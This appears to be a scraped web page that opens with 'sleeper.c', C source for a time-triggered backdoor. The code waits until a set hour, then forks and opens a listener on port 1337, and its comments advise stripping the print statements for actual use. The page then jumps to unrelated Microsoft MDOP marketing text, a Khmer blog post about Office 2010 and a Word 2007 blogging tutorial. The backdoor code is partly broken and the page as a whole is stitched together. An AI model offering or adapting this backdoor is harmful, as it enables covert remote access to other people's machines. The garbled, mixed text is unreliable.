*
Title: sleeper.c
Author: Scytzo
Date: 1-16-05
Compile: gcc sleeper.c -o sleeperThis is an example of a backdoor
that will sleep until a configured time
then opens up a listening socketRight now only the trigger hour matters
the backdoor starts at this hour and is
only alive for the time specified.ctimes output is in the format ‘Mon Jan 17 16:00:35 2005’
that’s why trigger time should have a leading space
so it doesnt get confused with a similar minute.If you’re going to use this as an actual backdoor you’re
going to want to remove all the printf() statementsSometimes if the backdoor tries to start up again right away
you’ll get a BIND error. You can usually safely ignore this
but I would like to do more testing. If you see a better way of
doing any of this just let me know.*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>#include <time.h> // for time structure and functions
#include <string.h>#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>#define listenPort 1337
#define triggerHour “22” // Hour to start listening MILITARY TIME!!!
#define aliveFor “180” // the amount of time to keep the server listen()ing for, in seconds
// shouldn’t be less than three minutes#define triggerMin “57” // Minute in the hour to start listening
#define stopHour “16” // Hour to stop listening same format
#define stopMin “25” // Minute to stop listenervoid wait_for_time();
void start_listening();
void start_kill_timer();int main( int argc, char **argv)
{
pid_t lPid;while( 1 == 1)
{
sleep(1800); check every 30 minutes
//printf(“Let’s start at the beginning\n”);
wait_for_time();if( (lPid = fork()) == 0 )
{
//printf(“just forked\n”);
start_listening();
//printf(“start_listening() is done\n”);
exit(1);
}}
return 0;
}void wait_for_time()
{char *pTime; // printable time
time_t now;
int cont = 1, yes = 1;
struct tm *theTime;
int tHour = atoi(triggerHour);
int tMin = atoi(triggerMin);
int hour, minute;while( cont == yes )
{
// sleep(25); so we’re not checking 700 times a second
time(&now);
theTime = localtime( &now );
hour = theTime->tm_hour;
minute = theTime->tm_min;if( hour == tHour )
{
//printf(“NOW IS THE TIME!\n”);
yes = 0;
}}
}void start_listening()
{
struct sockaddr_in serverAddr, clientAddr;
int listenSock, acceptFd;
int port = listenPort;
socklen_t cliLength = sizeof(clientAddr);
pid_t pid;
int cont = 1, yes = 1;
time_t now;
struct tm *theTime;
int tHour = atoi(triggerHour);
int sHour = atoi(stopHour);
int sMin = atoi(stopMin);
int hour, minute;bzero( &serverAddr, sizeof(serverAddr) );
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(listenPort);
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);if( (listenSock = socket( AF_INET, SOCK_STREAM, 0 )) == -1)
{
printf(“Error creating socket Bitch! %s\n”, strerror(errno));
exit(0);
}if( bind(listenSock, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) != 0 )
{
printf(“Bind error Bitch! %s\n”, strerror(errno));
exit(0);
}if( listen(listenSock, 2) != 0)
{
printf(“Listen() error bitch!\n”);
return;
}printf(“Starting listener on port %d\n”, listenPort);
pid_t listenPid;
int zzzz = atoi(aliveFor);if( (listenPid = fork()) == 0)
{printf(“just forked for listenpid\n”);
int newFd;
char readBuf[200];
bzero(readBuf, sizeof(readBuf));
char *msg = “Did you just say casarole?\n”;newFd = accept(listenSock, (struct sockaddr *) &clientAddr, &cliLength);
close(listenSock);write( newFd, msg , strlen(msg));
read( newFd, readBuf, 200);
printf(“Readbuf is %s\n”, readBuf);
//printf(“Exiting listenpid fork\n”);
close(newFd);
close(listenSock);
return;}
sleep(zzzz);
kill( listenPid, 1);
close(listenSock);
return;
}
ការិយាល័យ
ស្វែងយល់ពីការប្រើប្រាស់ និងដោះស្រាយបញ្ហានៅក្នុងកម្មវិធីការិយាល័យរបស់ Microsoft
Microsoft Desktop Optimization Pack 2009
Productivity, manageability and reduced total cost of ownership for enterprise desktops
Enterprise IT infrastructures are increasingly complex to manage. The Microsoft Desktop Optimization Pack (MDOP) is a dynamic desktop solution that is available as a subscription for Software Assurance customers. The solution suite enhances application deployment and compatibility, increases IT responsiveness and end user uptime, and helps reduce total cost of ownership (TCO) of your desktop software and IT management.
MDOP employs six innovative technologies to increase desktop manageability, reduce TCO, and improve overall infrastructure satisfaction:
- Microsoft Application Virtualization (App-V) turns applications into centrally managed services that are never installed, never conflict, and are streamed on demand to end users.
- Microsoft Enterprise Desktop Virtualization (MED-V) provides deployment and management of virtual PC images to enable key enterprise scenarios, primarily resolving application compatibility with a new version of Windows.
- Microsoft Advanced Group Policy Management (AGPM) enhances governance and control over Group Policy through robust change management, versioning, and role-based administration.
- Microsoft Asset Inventory Service (AIS) is a hosted service that collects software inventory data and translates it into actionable business intelligence.
- Microsoft Diagnostics and Recovery Toolset (DaRT) reduces downtime by accelerating troubleshooting, repair, and data recovery of unbootable Windows-based desktops.
- Microsoft System Center Desktop Error Monitoring (DEM) provides insights into application and operating system failures, allowing helpdesk to be more proactive in managing PC problems, without installing an agent to the endpoint.
MDOP 2009 R2 for Windows 7 is now available!
Learn more about MDOP 2009 R2 features.
Read more about how customers and partners use MDOP.
MDOP subscribers can download the software at Microsoft Volume Licensing Site (MVLS).
MDOP is also available for test and evaluation for MSDN* and TechNet** subscribers in accordance with MSDN and TechNet agreements.
Source : http://www.microsoft.com/windows/enterprise/products/mdop/default.aspx
Office 2010 នឹងចេញនៅឆ្នាំក្រោយ !
សព្វថ្ងៃនេះយើងទាំងអស់គ្នា មិនសូវជាមានអ្នកប្រើប្រាស់ Office 2007 ច្រើនណាស់ណានោះទេ ជាពិសេសសម្រាប់អ្នកដែលធ្លាប់តែទំលាប់ជាមួយ Office 2003 ពួកគាត់តែងតែស្រែកចាច ពេលឃើញលក្ខណះ Office 2007 ពិបាកប្រើណាស់លោកអើយ …… ហើយក៏មានមូលហេតុមួយចំនួនដូចជា តំរូវការម៉ាសីនមិនគ្រប់គ្រាន់ដើម្បីដំណើរការវាបាន ឬក៏ខ្លាចពេលធ្វើការងារក្នុង Office 2007 ពេលយកឯកសារនៅកន្លែងផ្សេងអត់ស្គាល់ …..។
តែផ្ទុយទៅវិញ សម្រាប់អ្នកដែលស្រឡាញ់បច្ចេកវិទ្យាទំនើបៗ អ្នកដែលចូលចិត្តអ្វីដែលថ្មី គេតែងតែទទួលស្គាល់ពីអត្ថប្រយោជន៌ និងអោយតម្លៃវាជានិច្ច ព្រោះវាជាអ្វីដែលគេខិតខំធ្វើកែលំអរអោយកាន់តែប្រសើរជាងសេរីមុនៗ ។ ជាក់ស្តែងចំពោះខ្ញុំ គឺពេញចិត្តនឹង Office 2007 ណាស់ មិនមែនស្រលាញ់តែរូបរាង (Interface) វាប៉ុណ្នោះទេ តែវាពិតជាជួយសំរួលដល់ការងារយើងបានលឿនជាងមុនឆ្ងាយណាស់ ដូចជាការបង្កើត Slide តាមកម្មវិធី Power Point វិញគឺងាយស្រួល ហើយស្អាតៗទៀត ។
ហើយអាឡូវលឺសូរថាក្រុមហុន Microsoft នឹងចេញ Office សេរីថ្មី 2010 Beta អោយទៅដៃគូសំខាន់ៗ នៅថ្ងៃស្អែកនេះអោយប្រើប្រាស់សាកល្បង ។ រីឯអាលទ្ធផលសំរេចចុងក្រោយ ប្រហែលជានឹងចេញដាក់អោយប្រើប្រាស់ដំណាលគ្នាជាមួយ Windows 7 RTMជាផ្លូវការនៅដើមឆ្នាំ 2010 ខាងមុខនេះ ។
Write Blog post from Word 2007
Word 2007 is a wonderful and modern tool for writing documents, but most of people might don’t know that you can use it to post to your blog as well? This is very useful if you want to write very long, word posts, or if you want to make your post more beautiful.
One of the most important for us is it will upload the image we posted to the Upload Directory in your wordpress blog automatic. That before you have to do it yours selves and take time to do the screenshot for your wordpress post.
It also support: Blogger, Windows Live Space, Sharepoint Blog, Community Server, Typepad, …and your hosted wordpress blog also.
Here is my example wordpress post from Word 2007 :
In Word 2007 you can Create new Document and Choose “New Blog Post”
Screen clipping taken: 11/6/2008, 9:28 AM-by Myhouse
Then Click on Register now:
Screen clipping taken: 11/6/2008, 9:28 AM-By Myhouse
Then choose your blog provider
Screen clipping taken: 11/6/2008, 9:29 AM
Then Fill in replace my blog URL with yours as below:
Screen clipping taken: 11/6/2008, 9:31 AM
Then Happy Blogging!